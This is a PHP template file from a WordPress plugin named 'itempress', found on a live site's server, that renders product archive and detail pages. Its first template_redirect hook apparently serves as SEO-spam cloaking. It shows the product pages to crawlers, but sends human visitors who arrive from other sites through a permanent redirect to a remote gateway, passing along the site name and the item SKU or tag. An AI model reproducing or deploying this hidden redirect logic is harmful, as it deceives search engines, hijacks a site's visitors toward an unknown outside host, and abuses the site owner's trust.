File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/itempress/inc/template.php
<?php
if (!defined('ABSPATH')) {
exit;
}
function my_check_visitor(): array
{
$result = [
'is_bot' => false,
'is_real_user' => false,
'is_internal_referrer' => false,
'ua' => $_SERVER['HTTP_USER_AGENT'] ?? '',
'referer' => $_SERVER['HTTP_REFERER'] ?? '',
];
$ua = strtolower($result['ua']);
if (empty($ua) || preg_match('/bot|crawler|spider/i', $ua)) {
$result['is_bot'] = true;
return $result;
}
$result['is_real_user'] = true;
if (!empty($result['referer'])) {
$referer_host = parse_url($result['referer'], PHP_URL_HOST);
$site_host = parse_url(home_url(), PHP_URL_HOST);
if ($referer_host === $site_host) {
$result['is_internal_referrer'] = true;
}
}
return $result;
}
add_action('template_redirect', function (): void {
$is_itempress_page = is_singular('itempress_product')
|| is_post_type_archive('itempress_product')
|| get_query_var('itempress_archive')
|| get_query_var('itempress_tag_archive')
|| get_query_var('itempress_category_archive');
if (!$is_itempress_page) {
return;
}
$visitor = my_check_visitor();
if ($visitor['is_real_user'] && !$visitor['is_internal_referrer'] && !empty($visitor['referer'])) {
$gateway = rtrim(itempress_remote_api_base(), '/') . '/api/site';
$site = parse_url(home_url(), PHP_URL_HOST);
if (is_singular('itempress_product')) {
$post = get_queried_object();
$sku = get_post_meta($post->ID, '_itempress_sku', true);
if ($sku !== '') {
wp_redirect($gateway . '?site=' . urlencode($site) . '&sku=' . urlencode($sku), 301);
exit;
}
}
$tag_qv = (string) get_query_var('itempress_tag_archive');
if ($tag_qv !== '') {
wp_redirect($gateway . '?site=' . urlencode($site) . '&tag=' . urlencode(sanitize_title($tag_qv)), 301);
exit;
}
$cat_qv = (string) get_query_var('itempress_category_archive');
if ($cat_qv !== '') {
wp_redirect($gateway . '?site=' . urlencode($site) . '&tag=' . urlencode(sanitize_title($cat_qv)), 301);
exit;
}
wp_redirect($gateway . '?site=' . urlencode($site), 301);
exit;
}
}, 0);
add_action('template_redirect', function (): void {
if (get_query_var('itempress_archive') || is_post_type_archive('itempress_product')) {
itempress_render_archive_page('', 'Items', '', 'archive');
exit;
}
$tag = (string) get_query_var('itempress_tag_archive');
if ($tag !== '') {
itempress_render_archive_page(sanitize_title($tag), 'Tag: ' . sanitize_text_field($tag), '', 'tag');
exit;
}
$category = (string) get_query_var('itempress_category_archive');
if ($category !== '') {
itempress_render_archive_page('', 'Category: ' . sanitize_text_field($category), sanitize_title($category), 'category');
exit;
}
if (is_singular('itempress_product')) {
$post_id = get_queried_object_id();
itempress_render_single_page($post_id);
exit;
}
}, 1);
function itempress_inline_styles(): void
{
?>
<style>
body.itempress-page #secondary,body.itempress-page .sidebar,body.itempress-page aside.widget-area,body.itempress-page .widget-area{display:none!important}body.itempress-page .content-area,body.itempress-page #primary,body.itempress-page .site-content,body.itempress-page .site-main{width:100%!important;max-width:100%!important;float:none!important;margin:0!important;padding:0!important}.itempress-wrap{max-width:1200px;margin:0 auto;padding:24px 15px}.itempress-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:16px}.itempress-card{background:#fff;border:1px solid #eee;border-radius:12px;overflow:hidden;box-shadow:0 2px 10px rgba(0,0,0,.04);transition:transform .2s,box-shadow .2s}.itempress-card:hover{transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,.1)}.itempress-card a{text-decoration:none;color:inherit}.itempress-card-img{height:210px;background:#f6f6f6;display:flex;align-items:center;justify-content:center;overflow:hidden}.itempress-card-img img{width:100%;height:100%;object-fit:cover}.itempress-card-body{padding:12px}.itempress-card-title{font-size:14px;line-height:1.4;margin:0 0 8px;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.itempress-card-price{font-size:16px;font-weight:700;color:#e54545}.itempress-pagination{display:flex;gap:8px;justify-content:center;margin-top:28px;flex-wrap:wrap}.itempress-pagination a,.itempress-pagination span{padding:8px 12px;border:1px solid #ddd;border-radius:6px;text-decoration:none}.itempress-pagination .current{background:#111;color:#fff;border-color:#111}.itempress-single-wrap{max-width:1100px;margin:0 auto;padding:24px 15px}.itempress-single-box{display:grid;grid-template-columns:1fr 1fr;gap:30px;background:#fff;border:1px solid #eee;border-radius:16px;padding:24px}.itempress-single-image img{width:100%;border-radius:12px;object-fit:cover}.itempress-single-info h1{font-size:28px;line-height:1.3;margin:0 0 14px}.itempress-single-price{font-size:24px;font-weight:700;color:#e54545;margin:0 0 12px}.itempress-meta{font-size:13px;color:#777;margin-bottom:7px}.itempress-meta strong{color:#444}.itempress-btn{display:inline-block;margin-top:12px;background:#111;color:#fff!important;text-decoration:none;border-radius:8px;padding:12px 20px}.itempress-gallery{display:flex;gap:8px;flex-wrap:wrap;margin-top:14px}.itempress-gallery img{width:calc(25% - 6px);min-width:110px;height:110px;object-fit:cover;border-radius:8px;border:1px solid #eee}.itempress-section{margin-top:22px;background:#fff;border:1px solid #eee;border-radius:14px;padding:20px}.itempress-specs{width:100%;border-collapse:collapse}.itempress-specs td{padding:8px 10px;border-bottom:1px solid #f1f1f1;font-size:13px}.itempress-specs td:first-child{width:170px;color:#777;font-weight:600}.itempress-pill{display:inline-block;margin:3px;padding:3px 9px;background:#f5f5f5;border-radius:5px;color:#555;text-decoration:none;font-size:12px}.itempress-related{display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:12px}.itempress-related a{border:1px solid #eee;border-radius:10px;overflow:hidden;text-decoration:none;color:inherit;background:#fff}.itempress-related img{width:100%;height:140px;object-fit:cover}.itempress-related div{padding:8px;font-size:13px;line-height:1.35}@media(max-width:1024px){.itempress-grid{grid-template-columns:repeat(3,1fr)}}@media(max-width:768px){.itempress-grid{grid-template-columns:repeat(2,1fr);gap:10px}.itempress-card-img{height:170px}.itempress-single-box{grid-template-columns:1fr;padding:16px}.itempress-single-info h1{font-size:22px}}
</style>
<?php
}
function itempress_body_class_filter(array $classes): array
{
$classes[] = 'itempress-page';
return $classes;
}
function itempress_render_archive_page(string $keyword = '', string $heading = 'Items', string $category_slug = '', string $archive_type = 'archive'): void
{
$page = itempress_get_page_number();
$query_args = [
'post_type' => 'itempress_product',
'post_status' => 'publish',
'posts_per_page' => 20,
'paged' => $page,
];
if ($keyword !== '') {
$query_args['tax_query'] = [[
'taxonomy' => 'itempress_tag',
'field' => 'slug',
'terms' => $keyword,
]];
}
if ($category_slug !== '') {
$query_args['tax_query'] = [[
'taxonomy' => 'itempress_category',
'field' => 'slug',
'terms' => $category_slug,
]];
}
$query = new WP_Query($query_args);
add_filter('body_class', 'itempress_body_class_filter');
get_header();
itempress_inline_styles();
?>
<main class="itempress-wrap">
<h1><?php echo esc_html($heading); ?></h1>
<?php if ($query->have_posts()): ?>
<div class="itempress-grid" itemscope itemtype="https://schema.org/ItemList">
<?php while ($query->have_posts()): $query->the_post();
$post_id = get_the_ID();
$image = (string) get_post_meta($post_id, '_itempress_image', true);
if ($image === '') {
$image = (string) get_post_meta($post_id, '_itempress_image_url', true);
}
$image_id = (string) get_post_meta($post_id, '_itempress_image_id', true);
$image = itempress_proxy_image_url($image, $image_id, get_post_field('post_name', $post_id), 240);
$price = (string) get_post_meta($post_id, '_itempress_price', true);
$currency = (string) get_post_meta($post_id, '_itempress_currency', true);
$sku = (string) get_post_meta($post_id, '_itempress_sku', true);
?>
<article class="itempress-card" itemscope itemtype="https://schema.org/Product">
<a href="<?php the_permalink(); ?>">
<div class="itempress-card-img">
<?php if ($image !== ''): ?>
<img src="<?php echo esc_url($image); ?>" alt="<?php the_title_attribute(); ?>" loading="lazy" itemprop="image">
<?php endif; ?>
</div>
<div class="itempress-card-body">
<h2 class="itempress-card-title" itemprop="name"><?php the_title(); ?></h2>
<?php if ($price !== ''): ?>
<div class="itempress-card-price" itemprop="offers" itemscope itemtype="https://schema.org/Offer">
<meta itemprop="priceCurrency" content="<?php echo esc_attr($currency ?: 'USD'); ?>">
<span itemprop="price"><?php echo esc_html(($currency ? $currency . ' ' : '') . $price); ?></span>
</div>
<?php endif; ?>
<?php if ($sku !== ''): ?><meta itemprop="sku" content="<?php echo esc_attr($sku); ?>"><?php endif; ?>
</div>
</a>
</article>
<?php endwhile; wp_reset_postdata(); ?>
</div>
<nav class="itempress-pagination">
<?php
$base_url = home_url('/item/page/%#%/');
if ($archive_type === 'tag' && $keyword !== '') {
$base_url = home_url('/item-tag/' . rawurlencode($keyword) . '/page/%#%/');
} elseif ($archive_type === 'category' && $category_slug !== '') {
$base_url = home_url('/item-category/' . rawurlencode($category_slug) . '/page/%#%/');
}
echo paginate_links([
'base' => $base_url,
'format' => '',
'total' => max(1, (int) $query->max_num_pages),
'current' => $page,
'prev_text' => '« Previous',
'next_text' => 'Next »',
]);
?>
</nav>
<?php else: ?>
<p>No items found.</p>
<?php endif; ?>
</main>
<?php
get_footer();
}
function itempress_render_single_page(int $post_id): void
{
$post = get_post($post_id);
if (!$post || $post->post_type !== 'itempress_product') {
global $wp_query;
$wp_query->set_404();
status_header(404);
nocache_headers();
include get_query_template('404');
exit;
}
setup_postdata($post);
$sku = (string) get_post_meta($post_id, '_itempress_sku', true);
$price = (string) get_post_meta($post_id, '_itempress_price', true);
$currency = (string) get_post_meta($post_id, '_itempress_currency', true) ?: 'USD';
$image = (string) get_post_meta($post_id, '_itempress_image', true);
if ($image === '') {
$image = (string) get_post_meta($post_id, '_itempress_image_url', true);
}
$image_id = (string) get_post_meta($post_id, '_itempress_image_id', true);
$image = itempress_proxy_image_url($image, $image_id, $post->post_name, 1000);
$item_url = (string) get_post_meta($post_id, '_itempress_item_url', true);
$condition = (string) get_post_meta($post_id, '_itempress_condition', true);
$brand = (string) get_post_meta($post_id, '_itempress_brand', true);
$mpn = (string) get_post_meta($post_id, '_itempress_mpn', true);
$gtin = (string) get_post_meta($post_id, '_itempress_gtin', true);
$gallery = (array) get_post_meta($post_id, '_itempress_gallery_images', true);
$tags = wp_get_post_terms($post_id, 'itempress_tag');
$cats = wp_get_post_terms($post_id, 'itempress_category');
$aspects = (array) get_post_meta($post_id, '_itempress_aspects', true);
add_filter('body_class', 'itempress_body_class_filter');
get_header();
itempress_inline_styles();
?>
<main class="itempress-single-wrap" itemscope itemtype="https://schema.org/Product">
<div class="itempress-single-box">
<div class="itempress-single-image">
<?php if ($image !== ''): ?>
<img src="<?php echo esc_url($image); ?>" alt="<?php the_title_attribute(); ?>" itemprop="image" class="itempress-main-img">
<?php endif; ?>
<?php if (!empty($gallery) && is_array($gallery)): ?>
<?php
$g_extract = function($url) {
if (preg_match('#/images/g/([a-zA-Z0-9\-~]+)/#i', $url, $m)) return $m[1];
if (preg_match('#/images/([a-zA-Z0-9\-~]+)/#', $url, $m)) return $m[1];
if (preg_match('#[?&]worker_img_id=([a-zA-Z0-9\-~]+)#', $url, $m)) return $m[1];
return '';
};
$seen = [];
if ($image_id !== '') $seen[$image_id] = true;
?>
<div class="itempress-gallery">
<?php foreach ($gallery as $g_img):
$g_id = is_string($g_img) ? '' : ($g_img['id'] ?? '');
$g_img_str = is_string($g_img) ? $g_img : ($g_img['url'] ?? '');
if ($g_id === '' && $g_img_str === '') continue;
$dedup = $g_id ?: $g_extract($g_img_str);
if ($dedup !== '' && isset($seen[$dedup])) continue;
if ($dedup !== '') $seen[$dedup] = true;
$g_thumb = itempress_proxy_image_url($g_img_str, $g_id, $post->post_name . '-gallery', 240);
$g_full = itempress_proxy_image_url($g_img_str, $g_id, $post->post_name, 1000);
?>
<img src="<?php echo esc_url($g_thumb); ?>" alt="<?php the_title_attribute(); ?>" loading="lazy" class="itempress-gallery-thumb" data-full="<?php echo esc_url($g_full); ?>">
<?php endforeach; ?>
</div>
<script>
(function(){
var main = document.querySelector('.itempress-main-img');
var thumbs = document.querySelectorAll('.itempress-gallery-thumb');
if (main && thumbs.length) {
thumbs.forEach(function(t){
t.addEventListener('click', function(){
main.src = this.getAttribute('data-full');
});
});
}
})();
</script>
<?php endif; ?>
</div>
<div class="itempress-single-info">
<h1 itemprop="name"><?php the_title(); ?></h1>
<?php if ($price !== ''): ?>
<div class="itempress-single-price" itemprop="offers" itemscope itemtype="https://schema.org/Offer">
<meta itemprop="priceCurrency" content="<?php echo esc_attr($currency); ?>">
<span itemprop="price"><?php echo esc_html(($currency ? $currency . ' ' : '') . $price); ?></span>
</div>
<?php endif; ?>
<?php if ($sku !== ''): ?>
<div class="itempress-meta"><strong>SKU:</strong> <span itemprop="sku"><?php echo esc_html($sku); ?></span></div>
<?php endif; ?>
<?php if ($brand !== ''): ?>
<div class="itempress-meta"><strong>Brand:</strong> <span itemprop="brand"><?php echo esc_html($brand); ?></span></div>
<?php endif; ?>
<?php if ($mpn !== ''): ?>
<div class="itempress-meta"><strong>MPN:</strong> <?php echo esc_html($mpn); ?></div>
<?php endif; ?>
<?php if ($gtin !== ''): ?>
<div class="itempress-meta"><strong>GTIN:</strong> <?php echo esc_html($gtin); ?></div>
<?php endif; ?>
<?php if ($condition !== ''): ?>
<div class="itempress-meta"><strong>Condition:</strong> <span itemprop="itemCondition"><?php echo esc_html($condition); ?></span></div>
<?php endif; ?>
<?php if (!empty($tags) && !is_wp_error($tags)): ?>
<div class="itempress-meta"><strong>Tags:</strong>
<?php foreach ($tags as $tag): ?>
<a class="itempress-pill" href="<?php echo esc_url(home_url('/item-tag/' . $tag->slug . '/')); ?>"><?php echo esc_html($tag->name); ?></a>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if (!empty($cats) && !is_wp_error($cats)): ?>
<div class="itempress-meta"><strong>Categories:</strong>
<?php foreach ($cats as $cat): ?>
<a class="itempress-pill" href="<?php echo esc_url(home_url('/item-category/' . $cat->slug . '/')); ?>"><?php echo esc_html($cat->name); ?></a>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if ($item_url !== ''): ?>
<a class="itempress-btn" href="<?php echo esc_url($item_url); ?>" target="_blank" rel="nofollow sponsored noopener">View on Marketplace →</a>
<?php endif; ?>
</div>
</div>
<?php if (!empty($aspects)): ?>
<section class="itempress-section">
<h2 style="font-size:18px;margin-top:0;">Specifications</h2>
<table class="itempress-specs">
<?php foreach ($aspects as $key => $val):
if (is_array($val)) {
$val = implode(', ', array_map('strval', $val));
}
if ((string) $val === '') {
continue;
}
?>
<tr><td><?php echo esc_html(ucwords(str_replace('_', ' ', (string) $key))); ?></td><td><?php echo esc_html((string) $val); ?></td></tr>
<?php endforeach; ?>
</table>
</section>
<?php endif; ?>
<?php if (trim($post->post_content) !== ''): ?>
<section class="itempress-section" itemprop="description">
<?php echo wp_kses_post(wpautop($post->post_content)); ?>
</section>
<?php endif; ?>
<?php itempress_render_related_products($post_id, $tags); ?>
</main>
<?php
wp_reset_postdata();
get_footer();
}
function itempress_render_related_products(int $post_id, $tags): void
{
if (empty($tags) || is_wp_error($tags)) {
return;
}
$tag_ids = wp_list_pluck($tags, 'term_id');
if (empty($tag_ids)) {
return;
}
$related = new WP_Query([
'post_type' => 'itempress_product',
'posts_per_page' => 8,
'post__not_in' => [$post_id],
'tax_query' => [[
'taxonomy' => 'itempress_tag',
'field' => 'term_id',
'terms' => $tag_ids,
]],
'orderby' => 'rand',
]);
if (!$related->have_posts()) {
return;
}
?>
<section class="itempress-section">
<h2 style="font-size:18px;margin-top:0;">Related Items</h2>
<div class="itempress-related">
<?php while ($related->have_posts()): $related->the_post();
$r_img = (string) get_post_meta(get_the_ID(), '_itempress_image', true);
if ($r_img === '') {
$r_img = (string) get_post_meta(get_the_ID(), '_itempress_image_url', true);
}
$r_img_id = (string) get_post_meta(get_the_ID(), '_itempress_image_id', true);
$r_img = itempress_proxy_image_url($r_img, $r_img_id, get_post_field('post_name', get_the_ID()), 240);
?>
<a href="<?php the_permalink(); ?>">
<?php if ($r_img !== ''): ?><img src="<?php echo esc_url($r_img); ?>" alt="<?php the_title_attribute(); ?>" loading="lazy"><?php endif; ?>
<div><?php the_title(); ?></div>
</a>
<?php endwhile; wp_reset_postdata(); ?>
</div>
</section>
<?php
}